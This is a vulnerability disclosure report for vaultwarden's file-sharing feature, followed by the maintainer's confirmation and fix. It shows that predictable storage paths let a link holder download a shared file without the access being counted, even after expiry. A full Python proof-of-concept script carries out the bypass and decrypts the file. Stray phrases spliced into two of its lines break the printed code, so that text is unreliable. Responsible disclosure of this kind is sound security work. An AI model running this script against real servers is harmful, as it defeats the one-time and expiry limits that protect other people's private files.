Improper Access Control in dani-garcia/vaultwarden

Valid

Reported on

Jun 25th 2021


✍️ Description

Vaultwarden allows users to share files and texts securely with anyone. This feature enables the user to control the number of accesses to a file or text and also the expiration date.

A person, to retrieve one of these files, needs to access the share link in a browser. This link respects the following structure {HOST}#/send/{SHARE ID}/{DECRYPTION KEY} (Endpoint 1). The browser will then retrieve file details using the {SHARE ID} (Endpoint 2 - /api/sends/access/{SHARE ID}), in the server response, among other things, we can encounter two IDs, {OBJECT ID} and {FILE ID}.

When the user wants to download a file, the browser makes a new request to retrieve the file location in the server (Endpoint 3 - /api/sends/{OBJECT ID}/access/file/{FILE ID}). On the server-side, this request is used to control the number of accesses to the file, by incrementing a counter. The file is then downloaded using the location that retrieved from Endpoint 3 and then the file is deciphered in the client-side.

The file location in the server has the following structure {HOST}//sends/{OBJECT ID}/{FILE ID}, so this path is predictable.

An attacker, since Endpoint 2, has all information that it's required to download and decipher the file. Thus, he doesn't need to make a request to the Endpoint 3, and therefore, his access to the file in not registered.

🕵️‍♂️ Proof of Concept

The PoC below allows an attacker to retrieve a file without being logged in the server. To run this PoC, you need two external libraries, requests and pycryptodome.

#!/usr/bin/python3

from Crypto.Protocol.KDF import PBKDF2, HKDF
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from base64 import b64encode, b64decode
from re import sub
from requests import NullHandler, get, post
from argparse import ArgumentParser

def fromUrlB64ToB64(urlB64Str: bytes) -> bytes:
    out = sub(r'_','/',sub(r'-','+',urlB64Str))

    r = len(out) % 4

    if r == 2:
        out += "=="
    elif r == 3:
        out += "="
    elif r == 0:
        pass
    else:
        print("Invalid key")
        exit(1)

    return out

def generate_password(p: bytes, keyArray: bytes):
    return b64encode(PBKDF2(p,keyArray, 32, 100000, hmac_hash_module=SHA256))

def decrypt_content(content: bytes, keyArray: bytes) -> bytes:
    ks = HKDF(keyArray, 32,b'bitwarden-send', SHA256 ,context=b'send')

    assert content[0] == 2
    assert len(content) > 49
    #AesCbc256_HmacSha256_B64

    ivBytes = content[1:17]
    macBytes = content[17: 49]
    ctBytes = content[49:]

    cipher = AES.new(ks, AES.MODE_CBC, iv=ivBytes)
    plaintext = cipher.decrypt(ctBytes)

    return plaintext

def retrieve_parameters(base_url,share_id, passw=None):
    burp0_url =  base_url + "api/sends/access/" + share_id
    burp0_json={"password": passw}
    resp = post(burp0_url, json=burp0_json)

    if resp.status_code != 200:
        raise Exception("File doesn't exist or already expired")

    d = resp.json()

    return d['Id'], d['File']['Id']


def main():
    parser = ArgumentParser(description='Download file without been logged')
    parser.add_arallows an attacker to download a file gument("-u", "--share_url", type=str, help='Share url', required=True)
    parser.add_argument("-p", "--password", type=str, help='Access password', default=None)
    args = parser.parse_args()

    share_url = args.share_url
    key = share_url.split("/")[-1]
    passw = args.password
    share_id = share_url.split("/")[-2]
    base_url = share_url.split("#/send")[0]
    keyArray = b64decode(fromUrlB64ToB64(key))

    a1 = None
    a2 = Noneallows an attacker to download a file 

    if passw is not None:
        a1, a2 = retrieve_parameters(base_url, share_id, generate_password(passw, keyArray).decode())
    else:
        a1, a2 = retrieve_parameters(base_url, share_id)

    resu = get(base_url+"/sends/"+a1+"/"+a2, stream=True)
    print(decrypt_content(resu.raw.read(),keyArray).decode())


if __name__=="__main__":
    main()

💥 Impact

This vulnerability enables an attacker to bypass the access policy. Imagine that we create a share that only allows the user to download the file one time. If an attacker access to this link before the real recipient, he can download the file and not be detected.

Besides this, if the link has already expired or has been disabled and the attacker knows the {OBJECT ID} and {FILE ID} (from any other means that not Endpoint 2. because in that case the Endpoint 2 will answer with a 404), he can still retrieve the file.

Note: This vulnerability only affects files that are shared and not text.

Mitigation

Add an access token that it's checked when the file is downloaded and can only be used one time. This access token would be only known in the Endpoint 3, to assure the user goes there. This is the mechanism used by the Bitwarden server from 8bit Solutions LLC to mitigate this risk.

Occurrences

Daniel García
a year ago

Maintainer


Okay, this is a valid vulnerability, so I've fixed it in commit https://github.com/dani-garcia/vaultwarden/commit/2cd17fe7afeaef2a29787999b1cb48a512811571 using a similar aproach as you describe, but instead of using one-use tokens, I've used very short lived tokens (2 minutes).

This should fix the main vulnerability which could allow the users to skip the access control to the file entirely.

It leaves the user the posibility to use the generated link multiple times during that two minute timeframe, but the user could always clone the file themselves locally anyway.

Daniel García validated this vulnerability a year ago
André Cirne has been awarded the disclosure bounty
The fix bounty is now up for grabs
Daniel García confirmed that a fix has been merged on 2cd17f a year ago
Daniel García has been awarded the fix bounty
Daniel García
a year ago

Maintainer


Thank you for the report!

Jamie Slome
a year ago

Admin


Nice work all!

to join this conversation